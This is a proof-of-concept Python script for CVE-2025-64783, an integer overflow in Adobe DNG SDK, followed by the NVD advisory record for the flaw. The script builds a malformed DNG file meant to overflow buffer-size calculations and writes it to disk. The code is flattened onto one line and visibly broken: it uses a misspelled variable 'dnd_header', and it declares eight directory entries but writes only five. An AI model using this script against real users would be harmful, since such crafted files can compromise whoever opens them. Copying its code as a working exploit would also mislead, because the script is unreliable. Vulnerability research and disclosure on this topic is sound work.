CVE-2025-64783

# CVE-2025-64783 PoC - Integer Overflow in Adobe DNG SDK # This PoC demonstrates the vulnerability concept (for educational purposes only) import struct import os def create_malicious_dng(): """ Create a PoC DNG file that triggers integer overflow in DNG SDK. This is a simplified example for demonstration. """ # DNG file header structure dng_header = bytearray() # TIFF magic number dng_header.extend(b'II*\x00') # Create IFD (Image File Directory) with malicious values # that could trigger integer overflow in size calculations num_entries = 8 dng_header.extend(struct.pack('<H', num_entries)) # ImageWidth tag (0x0100) - normal value dng_header.extend(struct.pack('<H', 0x0100)) dng_header.extend(struct.pack('<H', 0x0003)) # SHORT type dng_header.extend(struct.pack('<I', 1)) # count dng_header.extend(struct.pack('<H', 0xFFFF)) # value (large width) # ImageLength tag (0x0101) - normal value dng_header.extend(struct.pack('<H', 0x0101)) dng_header.extend(struct.pack('<H', 0x0003)) dng_header.extend(struct.pack('<I', 1)) dnd_header.extend(struct.pack('<H', 0xFFFF)) # value (large height) # BitsPerSample tag - could trigger overflow when calculating buffer size dng_header.extend(struct.pack('<H', 0x0102)) dng_header.extend(struct.pack('<H', 0x0003)) dng_header.extend(struct.pack('<I', 1)) dng_header.extend(struct.pack('<H', 16)) # StripOffsets tag - location of image data dng_header.extend(struct.pack('<H', 0x0111)) dng_header.extend(struct.pack('<H', 0x0004)) # LONG type dng_header.extend(struct.pack('<I', 1)) dng_header.extend(struct.pack('<I', 0x200)) # offset # StripByteCounts - malicious large value that could cause overflow dng_header.extend(struct.pack('<H', 0x0117)) dng_header.extend(struct.pack('<H', 0x0004)) # LONG type dng_header.extend(struct.pack('<I', 1)) dng_header.extend(struct.pack('<I', 0xFFFFFFFF)) # max value to trigger overflow # Next IFD offset dng_header.extend(struct.pack('<I', 0x00000000)) # Add malicious payload data dng_header.extend(b'\x00' * 496) # Padding to reach offset 0x200 dng_header.extend(b'A' * 64) # Malicious payload return bytes(dng_header) def main(): print("CVE-2025-64783 PoC Generator") print("Target: Adobe DNG SDK <= 1.7.0") print("Vulnerability: Integer Overflow or Wraparound") print("-" * 50) poc_data = create_malicious_dng() output_file = "CVE-2025-64783_poc.dng" with open(output_file, 'wb') as f: f.write(poc_data) print(f"[+] PoC file created: {output_file}") print(f"[+] File size: {len(poc_data)} bytes") print("[!] Note: This PoC is for research purposes only") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-64783", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:16:07.450", "lastModified": "2025-12-10T16:03:20.747", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "DNG SDK versions 1.7.0 and earlier are affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:dng_software_development_kit:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.7.0", "matchCriteriaId": "8A37E544-82AE-4E72-BA5D-A8C98061CEF8"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/dng-sdk/apsb25-118.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}